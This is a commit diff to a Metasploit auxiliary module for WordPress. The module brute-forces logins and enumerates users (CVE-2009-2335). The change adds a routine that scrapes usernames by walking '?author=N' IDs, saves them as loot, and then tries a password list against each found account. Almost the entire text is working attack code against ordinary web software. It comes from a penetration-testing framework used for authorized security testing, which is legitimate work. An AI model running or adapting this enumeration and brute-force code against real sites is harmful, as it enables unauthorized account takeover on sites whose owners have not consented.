1
- ##
2
- # $Id$
3
- ##
4
-
5
1
##
6
2
# This file is part of the Metasploit Framework and may be subject to
7
3
# redistribution and commercial restrictions. Please see the Metasploit
8
4
# web site for more information on licensing and terms of use.
9
5
# http://metasploit.com/
10
6
##
11
7
12
-
13
8
class Metasploit3 < Msf ::Auxiliary
14
9
15
10
include Msf ::Exploit ::Remote ::HttpClient
@@ -20,27 +15,31 @@ class Metasploit3 < Msf::Auxiliary
20
15
21
16
def initialize
22
17
super (
23
- 'Name' => 'Wordpress Brute Force and User Enumeration Utility' ,
24
- 'Version' => '$Revision$' ,
25
- 'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility' ,
26
- 'Author' => [
27
- 'Alligator Security Team' ,
28
- 'Tiago Ferreira <tiago.ccna[at]gmail.com>'
29
- ] ,
18
+ 'Name' => 'Wordpress Brute Force and User Enumeration Utility' ,
19
+ 'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility' ,
20
+ 'Author' =>
21
+ [
22
+ 'Alligator Security Team' ,
23
+ 'Tiago Ferreira <tiago.ccna[at]gmail.com>' ,
24
+ 'Zach Grace <zgrace[at]404labs.com>'
25
+ ] ,
30
26
'References' =>
31
27
[
32
28
[ 'BID' , '35581' ] ,
33
29
[ 'CVE' , '2009-2335' ] ,
34
- [ 'OSVDB' , '55713' ] ,
30
+ [ 'OSVDB' , '55713' ]
35
31
] ,
36
32
'License' => MSF_LICENSE
37
33
)
38
34
39
35
register_options (
40
36
[
41
37
OptString . new ( 'URI' , [ false , 'Define the path to the wp-login.php file' , '/wp-login.php' ] ) ,
42
- OptBool . new ( 'VALIDATE_USERS' , [ true , "Enumerate usernames" , true ] ) ,
38
+ OptBool . new ( 'VALIDATE_USERS' , [ true , "Validate usernames" , true ] ) ,
43
39
OptBool . new ( 'BRUTEFORCE' , [ true , "Perform brute force authentication" , true ] ) ,
40
+ OptBool . new ( 'ENUMERATE_USERNAMES' , [ true , "Enumerate usernames" , true ] ) ,
41
+ OptString . new ( 'RANGE_START' , [ false , 'First user id to enumerate' , '1' ] ) ,
42
+ OptString . new ( 'RANGE_END' , [ false , 'Last user id to enumerate' , '10' ] )
44
43
] , self . class )
45
44
46
45
end
@@ -51,6 +50,11 @@ def target_url
51
50
52
51
53
52
def run_host ( ip )
53
+ usernames = [ ]
54
+ if datastore [ 'ENUMERATE_USERNAMES' ]
55
+ usernames = enum_usernames
56
+ end
57
+
54
58
if datastore [ 'VALIDATE_USERS' ]
55
59
@users_found = { }
56
60
vprint_status ( "#{ target_url } - WordPress Enumeration - Running User Enumeration" )
@@ -68,17 +72,29 @@ def run_host(ip)
68
72
if datastore [ 'VALIDATE_USERS' ]
69
73
if @users_found && @users_found . keys . size > 0
70
74
vprint_status ( "#{ target_url } - WordPress Brute Force - Skipping all but #{ uf = @users_found . keys . size } valid #{ uf == 1 ? "user" : "users" } " )
71
- else
72
- vprint_status ( "#{ target_url } - WordPress Brute Force - No valid users found. Exiting." )
73
- return
74
75
end
75
76
end
77
+
78
+ # Brute-force using files.
76
79
each_user_pass { |user , pass |
77
80
if datastore [ 'VALIDATE_USERS' ]
78
81
next unless @users_found [ user ]
79
82
end
80
- do_login ( user , pass )
83
+
84
+ do_login ( user , pass )
81
85
}
86
+
87
+ # Brute force previously found users
88
+ if not usernames . empty?
89
+ print_status ( "#{ target_url } - Brute-forcing previously found accounts..." )
90
+ passwords = load_password_vars ( datastore [ 'PASS_FILE' ] )
91
+ usernames . each do |user |
92
+ passwords . each do |pass |
93
+ do_login ( user , pass )
94
+ end
95
+ end
96
+ end
97
+
82
98
end
83
99
end
84
100
@@ -122,7 +138,8 @@ def do_enum(user=nil)
122
138
:sname => ( ssl ? 'https' : 'http' ) ,
123
139
:user => user ,
124
140
:port => rport ,
125
- :proof => "WEBAPP=\" Wordpress\" , VHOST=#{ vhost } "
141
+ :proof => "WEBAPP=\" Wordpress\" , VHOST=#{ vhost } " ,
142
+
126
143
)
127
144
128
145
@users_found [ user ] = :reported
@@ -181,4 +198,44 @@ def do_login(user=nil,pass=nil)
181
198
rescue ::Timeout ::Error , ::Errno ::EPIPE
182
199
end
183
200
end
201
+
202
+ def enum_usernames
203
+ usernames = [ ]
204
+ for i in datastore [ 'RANGE_START' ] ..datastore [ 'RANGE_END' ]
205
+ uri = "#{ datastore [ 'URI' ] . gsub ( /wp-login/ , 'index' ) } ?author=#{ i } "
206
+ print_status "#{ target_url } - Requesting #{ uri } "
207
+ res = send_request_cgi ( {
208
+ 'method' => 'GET' ,
209
+ 'uri' => uri
210
+ } )
211
+
212
+ if ( res and res . code == 301 )
213
+ uri = URI ( res . headers [ 'Location' ] )
214
+ uri = "#{ uri . path } ?#{ uri . query } "
215
+ res = send_request_cgi ( {
216
+ 'method' => 'GET' ,
217
+ 'uri' => uri
218
+ } )
219
+ end
220
+
221
+ if res . nil?
222
+ print_error ( "#{ target_url } - Error getting response." )
223
+ elsif res . code == 200 and res . body =~ /href="http[s]*:\/ \/ .*\/ \? *author.+title="([[:print:]]+)" /i
224
+ username = $1
225
+ print_good "#{ target_url } - Found user '#{ username } ' with id #{ i . to_s } "
226
+ usernames << username
227
+ elsif res . code == 404
228
+ print_status "#{ target_url } - No user with id #{ i . to_s } found"
229
+ else
230
+ print_error "#{ target_url } - Unknown error. HTTP #{ res . code . to_s } "
231
+ end
232
+ end
233
+
234
+ if not usernames . empty?
235
+ p = store_loot ( 'wordpress.users' , 'text/plain' , rhost , usernames * "\n " , "#{ rhost } _wordpress_users.txt" )
236
+ print_status ( "#{ target_url } - Usernames stored in: #{ p } " )
237
+ end
238
+
239
+ return usernames
240
+ end
184
241
end
0 commit comments